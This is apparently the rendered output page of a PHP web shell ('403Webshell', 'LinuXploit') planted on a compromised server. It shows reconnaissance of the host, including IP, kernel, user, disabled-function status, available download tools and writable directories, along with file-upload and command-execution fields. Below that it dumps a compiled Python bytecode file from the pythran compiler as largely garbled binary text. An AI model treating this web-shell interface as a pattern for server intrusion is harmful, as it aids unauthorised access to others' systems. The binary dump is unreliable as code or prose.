403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/optimizations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/optimizations/__pycache__/modindex.cpython-311.pyc
�

cR�az��v�dZddlmZmZmZmZddlmZddlmZddl	m
Z
ddlZddl
mZGd�d	e��ZdS)
z+ Simplify modulo computation based on index�)�UseDefChains�	Ancestors�Aliases�RangeValues)�Identifiers)�Transformation)�MODULESN)�deepcopyc�*�eZdZdZd�Zd�Zd�Zd�ZdS)�ModIndexa]
    Simplify modulo on loop index

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> pm = passmanager.PassManager("test")
    >>> code = """
    ... def foo(x):
    ...     y = builtins.len(x)
    ...     for i in builtins.range(8):
    ...         z = i % y"""
    >>> node = ast.parse(code)
    >>> _, node = pm.apply(ModIndex, node)
    >>> print(pm.dump(backend.Python, node))
    def foo(x):
        y = builtins.len(x)
        i_m = ((0 - 1) % y)
        for i in builtins.range(8):
            i_m = (0 if ((i_m + 1) == y) else (i_m + 1))
            z = i_m
    c��tj|tttt
t��t��|_dS)N)	r�__init__rrrrr�dict�	loops_mod)�selfs �@/usr/lib/python3/dist-packages/pythran/optimizations/modindex.pyrzModIndex.__init__#s3�����l�I�w� +�[�	:�	:�	:��������c�\�|j|}t|��dko|djS)N�r)�use_def_chains�len�node)rr�chains   r�
single_defzModIndex.single_def(s*���#�D�)���5�z�z�Q��0�5��8�=�0rc
�~	�t|jtj��s|�|��St|jtj��s|�|��S|�|j��}|s|�|��S|j|jj	j
dkr|�|��St|jtj��s|�|��S|�|j��}|s|�|��S|j|d}t|tj
��s|�|��St|jtj��s|�|��S||j|vr|�|��Sd}|j|jjD]}|t$ddur|}�|�|�|��S|jj	dz}d}||jvr.d�|jj	|��}|dz
}||jv�.|jj}	t-|	��dkr|	dntjdd��}
tjtj|tj��dd��gtjtjt7|
��tj��tjdd����tj��t7|j����d��}tjtj|tj��dd��tj��tjdd����}tjtj|tj��dd��gtjtj |tj!��gt7|j��g��tjdd��t7|����d��}
|j"�#|g���$||
f��d|_%tj|tj��dd��S)	Nr����builtins�range�_mz{}_m{}rT)&�
isinstance�op�ast�Mod�
generic_visit�right�Namer�range_values�id�low�left�	ancestors�For�iter�Call�aliases�funcr	�identifiers�format�argsr�Constant�Assign�Store�BinOpr
�Sub�Load�Add�IfExp�Compare�Eqr�
setdefault�append�update)rr�	right_def�head�loop�range_�alias�new_id�i�rargs�lower�header�incr�steps              r�visit_BinOpzModIndex.visit_BinOp,s���$�'�3�7�+�+�	,��%�%�d�+�+�+��$�*�c�h�/�/�	,��%�%�d�+�+�+��O�O�D�J�/�/�	��	,��%�%�d�+�+�+���T�Z�]�+�/�!�3�3��%�%�d�+�+�+��$�)�S�X�.�.�	,��%�%�d�+�+�+����t�y�)�)���	,��%�%�d�+�+�+��~�d�#�B�'���$���(�(�	,��%�%�d�+�+�+��$�)�S�X�.�.�	,��%�%�d�+�+�+��4�>�)�,�,�,��%�%�d�+�+�+����\�$�)�.�1�	�	�E���
�+�G�4�4�4������>��%�%�d�+�+�+�����$��
����(�(�(��_�_�T�Y�\�1�5�5�F�
��F�A���(�(�(��� ����J�J��N�N��a�����Q��0E�0E����S�X�f�c�i�k�k�4��F�F�G��I� #�	�(�5�/�/�*-�'�)�)�*-�,�q�$�*?�*?�!A�!A�!$��	�	� (��� 4� 4�6�6�!�"�"���y���&�#�(�*�*�d�D�A�A�������a��.�.�0�0���z�3�8�F�C�I�K�K��t�D�D�E��)�!�k�$�+.�6�8�8�*�x��
�7K�7K�6L�N�N�!�l�1�d�3�3�&�t�n�n�	.�.�
�
 � ��	
��!�!�$��+�+�2�2�F�D�>�B�B�B�����x����
�
�D�$�7�7�7rc���|�|��||jvr|Sd�|j|D��}d�|j|D��}||jz|_||gzS)Nc��g|]\}}|��S�rP)�.0�h�_s   r�
<listcomp>z&ModIndex.visit_For.<locals>.<listcomp>�s��6�6�6���A�1�6�6�6rc��g|]\}}|��SrPrP)rQrS�ss   rrTz&ModIndex.visit_For.<locals>.<listcomp>�s��4�4�4�t�q�!��4�4�4r)r$r�body)rr�headers�stepss    r�	visit_ForzModIndex.visit_For|sw�����4� � � ��t�~�%�%��K�6�6����!5�6�6�6��4�4�t�~�d�3�4�4�4���D�I�%��	��$���rN)�__name__�
__module__�__qualname__�__doc__rrrMrZrPrrrrs^��������, � � �
1�1�1�N8�N8�N8�` � � � � rr)r^�pythran.analysesrrrrr�pythran.passmanagerr�pythran.tablesr	�gastr"�copyr
rrPrr�<module>rds���1�1�J�J�J�J�J�J�J�J�J�J�J�J�(�(�(�(�(�(�.�.�.�.�.�.�"�"�"�"�"�"�����������x �x �x �x �x �~�x �x �x �x �x r

Youez - 2016 - github.com/yon3zu
LinuXploit